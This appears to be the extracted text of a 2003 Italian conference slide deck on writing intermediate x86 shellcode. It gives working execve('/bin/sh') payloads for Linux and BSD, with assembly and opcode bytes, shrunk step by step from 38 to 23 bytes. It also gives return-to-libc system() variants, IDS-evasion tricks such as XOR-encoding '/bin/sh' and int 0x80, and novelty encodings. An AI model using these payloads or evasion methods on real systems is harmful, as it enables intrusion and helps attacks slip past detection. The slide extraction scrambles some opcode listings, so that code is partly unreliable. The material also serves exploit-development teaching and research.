Alberto Ornaghi <[email protected]> Lorenzo Cavallaro <[email protected]> How to write a shellcode (intermediate) webbit 2003 1 Table of contents IDS evasion Shellcode multiOS Shortest shellcode Shellcode non rilocabili goodies & fun webbit 2003 2 IDS evasion webbit 2003 3 Il problema dei NOP 0x90 Gli IDS intercettano consecutivi Ottenere lo stesso operazioni differenti blocchi risultato Metodo jmp 0x02 Metodo inc %eax o similari webbit 2003 di nop ma con 4 Intercettazione di /bin/sh E’ possibile scrivere uno shellcode senza l’uso della stringa “/bin/sh” esplicita Metodo XOR /bin/sh\0 alorgigi xor 2F 62 69 6E 2F 73 68 00 61 6C 6F 72 67 69 67 69 4E 0E 06 1C 48 1A 0F 69 webbit 2003 5 Intercettazione di int 0x80 Lo stesso metodo usato per le stringhe, puo’ essere usato per le istruzioni che compongono lo shellcode stesso. Utilizzare due valori che uniti in xor diano cd 80 webbit 2003 6 Shellcode multiOS webbit 2003 7 Shellcode multiOS Lo scopo del gioco e’ quello di creare uno shellcode che funzioni sia su linux che su bsd. Problemi: – – – – Linux prende i parametri delle syscall dai registri BSD prende i parametri delle syscall dallo stack Linux usa 0xb in %eax per la execve BSD usa 0x3b in %eax per la execve webbit 2003 8 Shellcode multiOS Per il problema dei parametri… Possiamo mettere i parametri sia nei registri che sullo stack. In questo modo entrambi i sistemi operativi troveranno quello che cercano. webbit 2003 9 Shellcode multiOS Per il problema del valore di %eax… C’e’ la necessita’ di eseguire un controllo a run-time sul tipo di sistema ospitante. Come fare ? webbit 2003 10 Shellcode multiOS Sotto linux il registro speciale %fs e’ sempre nullo, mentre su BSD viene utilizzato normalmente come registro selettore di segmento (data) E’ sufficiente quindi un controllo su questo registro per distinguere i due sistemi webbit 2003 11 Shellcode multiOS Un po’ di codice… movl and je movb jmp %fs, %eax %eax, %eax linux $0x3b, %al bsd movb $0xb, %al linux: bsd: webbit 2003 12 Shortest Shellcode webbit 2003 13 Shellcode classico (38 b) jmp string_addr after_jmp: pop %edi xorl %eax, %eax movb %al, 0x7(%edi) movl %edi, 0x8(%edi) movl %eax, 0xc(%edi) lea 0xc(%edi), %edx lea 0x8(%edi), %ecx mov %edi, %ebx movb $0xb, %al int $0x80 string_addr: call after_jmp .string \"/bin/sh\" # 0xeb 0x18 # # # # # # # # # # 0x5f 0x31 0x88 0x89 0x89 0x8d 0x8d 0x89 0xb0 0xcd 0xc0 0x47 0x7f 0x47 0x57 0x4f 0xfb 0x0b 0x80 0x07 0x08 0x0c 0x0c 0x08 # 0xe8 0xde 0xff 0xff 0xff webbit 2003 14 Shellcode ottimizzato (36 b) jmp string_addr after_jmp: pop %ebx xorl %eax, %eax movb %al, 0x7(%ebx) movl %edi, 0x8(%ebx) movl %eax, 0xc(%ebx) lea 0xc(%ebx), %edx lea 0x8(%ebx), %ecx movb $0xb, %al int $0x80 string_addr: call after_jmp .string \"/bin/sh\" # 0xeb 0x16 # # # # # # # # # 0x5b 0x31 0x88 0x89 0x89 0x8d 0x8d 0xb0 0xcd 0xc0 0x43 0x5b 0x43 0x53 0x4b 0x0b 0x80 0x07 0x08 0x0c 0x0c 0x08 # 0xe8 0xe0 0xff 0xff 0xff webbit 2003 15 Nuovo metodo di costruzione per /bin/sh Consideriamo la stringa /bin/sh come sequenza di numeri esadecimali /b i n / s h 2f 62 69 6e 2f 73 68 Possiamo fare “push 0x6e69622f” webbit 2003 16 Nuovo metodo di costruzione per /bin/sh Problema: la stringa e’ di 7 caratteri (disallineata) Soluzione: usiamo la stringa “//bin/sh” push $0x68732f6e push $0x69622f2f webbit 2003 # n/sh # //bi 17 Nuovo shellcode (25 b) xorl push push push movl push movl push movl movb int %eax, %eax %eax $0x68732f6e $0x69622f2f %esp, %ebx %eax %esp, %edx %ebx %esp, %ecx $0xb, %al $0x80 # # # # # # # # # # # 31 50 68 68 89 50 89 53 89 b0 cd webbit 2003 c0 6e 2f 73 68 2f 2f 62 69 e3 e2 e1 0b 80 18 Shellcode (24 b) xorl push push push movl push push movl lea int %edx, %edx %edx $0x68732f6e $0x69622f2f %esp, %ebx %edx %ebx %esp, %ecx 0xb(%edx), %eax $0x80 # # # # # # # # # # 31 52 68 68 89 53 53 89 8d cd webbit 2003 © awgn & quequero d2 6e 2f 73 68 2f 2f 62 69 e3 e1 42 0b 80 19 Shellcode (24 b) lea 0xb(%edx), %eax © awgn & queuero # 8d 42 0b lea spiazzamento(base), destinazione In questo caso %edx e’ NULL quindi l’indirizzo assoluto caricato in %eax e’ 00 00 00 0b webbit 2003 20 Shellcode (23 b) push pop cdq push push push movl push push movl int $0x0b %eax %edx $0x68732f6e $0x69622f2f %esp, %ebx %edx %ebx %esp, %ecx $0x80 # # # # # # # # # # # 6a 58 99 52 68 68 89 53 53 89 cd webbit 2003 © buffer & alor 0b 6e 2f 73 68 2f 2f 62 69 e3 e1 80 21 Shellcode (23 b) push $0x0b pop %eax cdq © buffer & alor # 6a 0b # 58 # 99 CDQ estende il bit di segno di %eax in %edx. In questo caso %eax contiene 00 00 00 0b, quindi il bit piu’ significativo e’ 0, come conseguenza %edx viene azzerato webbit 2003 22 Shellcode (22 b) © ???? La sfida e’ aperta… [email protected] webbit 2003 23 Shellcode non rilocabili (salto in libc) webbit 2003 24 Salto in Libc Invece di invocare direttamente il kernel attraverso la syscall, e’ possibile usare una funzione della libc Questo metodo rende lo shellcode non rilocabile, poiche’ l’indirizzo della funzione varia da sistema a sistema. webbit 2003 25 Indirizzo della funzione Supponiamo di volere trovare l’indirizzo di system() nm /lib/libc.so.6 […] 00042130 W system […] OFFSET ldd ./dummy libc.so.6 => /lib/libc.so.6 (0x40020000) BASE webbit 2003 26 Shellcode call (13 b) La system vuole un parametro solo xorl movw push push call %eax, %eax $0x6873, %ax %eax %esp 0x40062130 webbit 2003 # # # # # 31 c0 66 b8 73 68 50 54 e8 xx xx xx xx 27 Shellcode call 2 (12 b) © alor push %fs pushw $0x6873 push %esp call 0x40062130 # # # # webbit 2003 0f a0 66 68 73 68 54 e8 xx xx xx xx 28 Rendiamolo piu’ rilocabile Il salto assoluto viene compilato come relativo, quindi non e’ possibile metterlo in qualsiasi punto dello stack Escogitiamo uno stratagemma poterlo spostare sullo stack per Usiamo il “ret” al posto della call webbit 2003 29 Shellcode ret (14 b) © gigi sullivan push %fs pushw $0x6873 push %esp push %esp push 0x40062130 ret # # # # # # webbit 2003 0f a0 66 68 73 68 54 54 # fake ret 68 xx xx xx xx c3 30 Goodies & fun webbit 2003 31 Borg shellcode © alor char shellborg[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x50\x51" "RESISTANCE.IS.FUTILE.YOU.WILL.BE.EXPLOITED\x4" "\x44\x44\x83\xc4\x24\x59\x58\x4b\x4a\x47\x47\x66" "\x83\xed\x06\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; Greetings to Dante © awgn webbit 2003 32 http://awgn.antifork.org/codes/dante.c 'A' 'B' 'C' 'D' 'E' 'F' 'G' 'H' 'I' […] inc inc inc inc inc inc inc dec dec %ecx %edx %ebx %esp %ebp %esi %edi %eax %ecx webbit 2003 33 Klingon Shellcode © awgn pushl pushl pushl pushl pushl pushl pushl ret $0x80cd0b42 $0x8de18953 $0x52e38969 $0x622f2f68 $0x68732f6e $0x6852d231 %esp webbit 2003 34 POPA Shellcode © buffer xor push push push mov push push %edx,%edx %edx $0x68732f6e $0x69622f2f %esp,%ebx %edx %ebx mov push push push push sub popa int webbit 2003 %esp,%ecx $0xb %ecx %edx %ebx $0x10,%esp $0x80 35 – Lorenzo Cavallaro – Alberto Ornaghi <[email protected]> <[email protected]> http://shellcodes.antifork.org webbit 2003 36